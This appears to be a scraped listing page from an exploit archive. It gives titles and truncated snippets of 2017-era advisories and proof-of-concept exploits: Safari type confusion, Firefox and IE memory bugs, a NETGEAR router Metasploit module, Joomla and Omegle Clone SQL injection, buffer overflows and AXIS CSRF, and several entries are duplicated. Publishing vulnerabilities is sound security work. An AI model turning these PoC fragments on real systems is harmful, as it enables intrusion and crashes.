Apple Safari - Out-of-Bounds Read when Calling Bound Function

Apple Safari - Out-of-Bounds Read when Calling Bound Function var ba; function s alert"in s"; ba = this; function g alert"in g"; return...

DzSoft PHP Editor 4.2.7 File Enumeration

Credits: John Page AKA hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/DZSOFT-v4.2.7-PHP-EDITOR-FILE-ENUMERATION.txt + ISR: ApparitionSec Vendor: ============== www.dzsoft.com Product: ========================= DzSoft PHP Editor v4.2.7 DzSoft PHP...

Apple Safari - 'DateTimeFormat.format' Type Confusion

var date = new DateDate.UTC2012, 11, 20, 3, 0, 0; var i = new Intl.DateTimeFormat; //printi; var q; function f //print"in f"; //printf.caller; q = f.caller; return 10; try i.formatvalueOf : f; catche //print"problem"; //printq; q.call0x77777777;...

Apple Safari - DateTimeFormat.format Type Confusion

Apple Safari - DateTimeFormat.format Type Confusion var date = new DateDate.UTC2012, 11, 20, 3, 0, 0; var i = new Intl.DateTimeFormat; //printi; var q; function f //print"in f"; //printf.caller; q = f.caller; return 10; try i.formatvalueOf : f; catche //print"problem"; //printq; q.call0x77777777;...

Disk Sorter Server 9.5.12 Buffer Overflow

Title: Disk Sorter Server v9.5.12 - Local Stack-based buffer overflow + Credits / Discovery: Nassim Asrir + Author Email: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/ + Author Company: Henceforth + CVE: N/A Vendor: =============== http://www.disksorter.com/ Download:...

Apple Safari - Out-of-Bounds Read when Calling Bound Function

var ba; function s alert"in s"; ba = this; function g alert"in g"; return 7; function dummy alert"just a function"; alert...

NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'time' class MetasploitModule 'NETGEAR WNR2000v5 Unauthenticated hiddenlangavi Stack Overflow', 'Description' = %q The NETGEAR WNR2000 router h...

Joomla FocalPoint 1.2.3 SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Joomla Component FocalPoint 1.2.3 - SQL Injection Date: 2017-03-23 Home : https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/focalpoint/ Exploit Author: Persian Hack Team Discovered by : Mojtaba...

Omegle Clone 2.0 SQL Injection

Title: Omegle Clone 2.0 - SQL injection Credit: Bilal KARDADOU Vendor: http://www.turnkeycentral.com Vendor URL: http://www.turnkeycentral.com/scripts/omegle-clone/ Product: Omegle Clone 2.0 Google Dork: N/A Product & Service Introduction: "Omegle Clone" Start Your own chat service like Omegle. B...

Joomla FocalPoint 1.2.3 SQL Injection

Exploit Title: Joomla Component FocalPoint 1.2.3 - SQL Injection Date: 2017-03-23 Home : https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/focalpoint/ Exploit Author: Persian Hack Team Discovered by : Mojtaba MobhaM [email protected] Home :...

MetInfo5.3.15 存储型 XSS 漏洞（CVE-2017-6878）

Vulnerability details： To modify, add a message in problem position insert JavaScript test code Then the background access to relevant pages, or other users access to the front desk page will make the attack code is executed. E-mail：callarice 163 com DBAppSecurity Ltd www.dbappsecurity.com.cn POC...

APNGDis 2.8 - chunk size descriptor Heap Buffer Overflow Exploit

Exploit for multiple platform in category dos / poc Exploit Title: APNGDis chunk size descriptor Buffer Overflow Date: 14-03-2017 Exploit Author: Alwin Peppels Vendor Homepage: http://apngdis.sourceforge.net/ Software Link: https://sourceforge.net/projects/apngdis/files/2.8/ Version: 2.8 Tested o...

Microsoft IE: textarea.defaultValue memory disclosure (CVE-2017-0059)

There is an use-after-free bug in IE which can lead to info leak / memory disclosure. The bug was confirmed on Internet Explorer version 11.0.9600.18537 update version 11.0.38 PoC: function run var textarea = document.getElementById"textarea"; var frame = document.createElement"iframe";...

CVE-2015-8985

The popfailstack function in the GNU C Library aka glibc or libc6 allows context-dependent attackers to cause a denial of service assertion failure and application crash via vectors related to extended regular expression processing...

Mozilla Firefox - table Use-After-Free Exploit

Exploit for multiple platform in category dos / poc body display: table function freememory try fuzzPriv.forceGC; catcherr alert'Please install domFuzzLite3'; function go var s = document.getSelection; window.find"1",true,false,true,false; s.modify"extend","forward","line";...

Mozilla Firefox - 'table' Use-After-Free

body display: table function freememory try fuzzPriv.forceGC; catcherr alert'Please install domFuzzLite3'; function go var s = document.getSelection; window.find"1",true,false,true,false; s.modify"extend","forward","line"; document.body.appenddocument.createElement"table"; freememory uZ1CqnaASOkr...

Mozilla Firefox - table Use-After-Free

Mozilla Firefox - table Use-After-Free body display: table function freememory try fuzzPriv.forceGC; catcherr alert'Please install domFuzzLite3'; function go var s = document.getSelection; window.find"1",true,false,true,false; s.modify"extend","forward","line";...

Microsoft Internet Explorer - textarea.defaultValue Memory Disclosure (MS17-006) Exploit

Exploit for windows platform in category dos / poc function run var textarea = document.getElementById"textarea"; var frame = document.createElement"iframe"; textarea.appendChildframe; frame.contentDocument.onreadystatechange = eventhandler; form.reset; function eventhandler...

shopify-scripts: SIGABRT - mirb - Double Free

PoC ------------------- Attached as test.rb Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...done. gdb r test.rb Starting program: /home/x/Desktop/test/mruby/bin/mirb test.rb mirb - Embeddable Interactive Ruby Shell NoMethodError: undefin...

AXIS Communications Cross Site Request Forgery

0RWELLL4BS security advisory olsa-CVE-2015-8255 PGP: 79A6CCC0 @orwelllabs Advisory Information ==================== - Title: Cross-Site Request Forgery - Vendor: AXIS Communications - Research and Advisory: Orwelllabs - Class: Session Management control CWE-352 - CVE Name: CVE-2015-8255 - Affecte...